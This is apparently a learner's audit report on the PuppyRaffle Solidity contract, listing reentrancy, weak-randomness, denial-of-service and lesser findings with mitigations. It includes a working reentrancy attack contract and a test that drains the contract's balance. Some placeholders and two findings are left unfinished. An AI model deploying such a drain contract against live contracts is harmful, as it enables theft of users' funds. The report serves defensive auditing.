puppyRaffle Audit Report

Version 1.0

Cyfrin.io

August 20, 2025

Protocol Audit Report

Elena

Aug 20, 2025

Prepared by: Elena Lead Auditors: - xxxxxxx

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

PuppyRaffle.sol ## Roles Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	6
gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI(check,effect,interactions) and as a result, enable participants to drain in the contract balance. in the `puppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
@>        payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

a player who has entered the raffle could have a `fallback`/`receive` function that calls the `puppyRaffle::refund` function again and claim another refund. they could continue the cycle till the contract balance is drained.

Impact: all fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. user enters the raffle 2. attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. attacker enters the raffle 4. attacker calls `PuppyRaffle::fund` from their attack contract, draining the contract balance.

proof of code

code place the following into `PuppyRaffle.t.sol`

```
    function test_reentrancytRefund() public {

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attack=new ReentrancyAttack(puppyRaffle);
        address attackUser=makeAddr("attackUser");
        vm.deal(attackUser,1 ether);

        uint256 startingAttackContractBalance= address(attack).balance;
        uint256 startingContractBalance=address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attack.attack{value:entranceFee}();

        console.log("starting attack contract balance:",
            startingAttackContractBalance);
        console.log("starting contract balance:",
            startingContractBalance);

        console.log("ending attack contract balance:",address(attack).
            balance);
        console.log("ending contract balance:",address(puppyRaffle).
                balance);
        }
```

and this contact as well

```
        contract ReentrancyAttack{
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle){
            puppyRaffle = _puppyRaffle;
            entranceFee=puppyRaffle.entranceFee();
        }
        function attack() external payable {
            address[] memory players= new address[](1);
            players[0]=address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex= puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }
        function _stealMoney() internal {
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
        }
        fallback() external payable {
            _stealMoney();
        }
        receive() external payable{
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
        function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");

    +        players[playerIndex] = address(0);
    +        emit RaffleRefunded(playerAddress);

            payable(msg.sender).sendValue(entranceFee);
```

```
-           players[playerIndex] = address(0);
-           emit RaffleRefunded(playerAddress);
        }
```

[H-2] TITLE weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: hashing `msg.sender`,`block.timestamp`, and `block.difficulty` together creates a predictable find number, A predictable number is not a good random number, Malicious user can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: thie additionally means users could front-run this function and call `refund` if they see they are not the winner **Impact:** any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate, see the [solidity blog on prevrandao](https://soliditydeveloper.com/blog).`block.diffictlty` was recently replaced with prevrandao 2. user can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner 3. users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: consider using a cryptographically provable random number generator such as chainlink VRF

[H-3] integer overflow of `PuppyRaffle::totalFees` lose fees

Medium

[M-1] Looping through palyers array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(Dos) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. however. the longer the array is, the more checks a new player will have to make. this means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. every additional address in the `players` array, is an additional check the loop will have to make.

```
// Check for duplicates
        //audit Dos
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

all attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

if we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players:~6503275 -2nd 100 players:~18995515

this more than 3x more expensive for the second 100 players

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {

        //let's enter 100 players

        vm.txGasPrice(1);
        uint256 playerNum=100;
        address[] memory players = new address[](playerNum);
        for (uint256 i=0;i<playerNum; i ++){
            players[i]=address(i);
        }
        // see how much gas it costs

        uint256 gasStart =gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd= gasleft();

        uint256 gasUsedFirst=(gasStart-gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:",gasUsedFirst);

        //now for the 2nd 100 players

        address[] memory playerTwo = new address[](playerNum);
        for (uint256 i=0;i<playerNum; i ++){
            playerTwo[i]=address(i+playerNum);
        }
        // see how much gas it costs

        uint256 gasStarttwo =gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playerTwo);
        uint256 gasEndtwo= gasleft();

        uint256 gasUsedFirst1=(gasStarttwo-gasEndtwo) * tx.gasprice;
        console.log("Gas cost of the 2nd 100 players:",gasUsedFirst1);
    }
```

Recommended Mitigation: 1. consider allowing duplicates, users can make new wallet address anyways, so a duplicate check doesn't prevent the same person from entering mutiple times, only the same wallet address. 2. consider using a mapping to check for duplicates. this would allow constant time lookup of whether a user has already entered.

[M-2] smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: the `puppyRaffle::selectWinner` function is responsible for resetting the lottery, however, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: the `puppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

also, true winner would not get paid out and someone else could take their money !

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. the lottery ends 3. the `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation: there are a few options to mitigate this issue. 1. do not allow smart contract wallet entrants (not recommand) 2. create a mapping of address ->payout so winners can pull their funds out themselves, putting the owness of the winner to claim their prize(recommand) # Low ### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: a player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. user enters the raffle, they are the first entrant, 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. user thinks they have not entered correctly due to the function documentation

Recommended Mitigation: the easiest recommendation would be to revert if the player is not in the array instead of returning 0.

you could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active

Informational

[I-1] solidity pragms should be specific, not wide

Description: consider using a specific version of solidity in your contract instead of a wide version, for example, instead of `pragma solidity ^0.8.0`, user `pragma solidity 0.8.0`

-found in PuppyRaffle.sol

[I-2] using an outdated version of solidity is not recommand

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

check [slither] https://github.com/crytic/slither/wiki/Detector-Documentation for more information

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 196

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

it's best to keep code clean and follow CEI(check, effects, interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] user of "magic" numbers is discouraged

it can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, you can use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE=80;
```

[I-6] state changes are missing events

Gas

[G-1] unchanged state variable should be declared constant or immutable.

reading from storage is much more expensive than reading from a constant or immutable

instance : -`puppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffe:rareImageUri` should be `constant`

[G-2] storage variable in a loop should be cached

everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+ uint256 playerLength=players.length;
-  for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```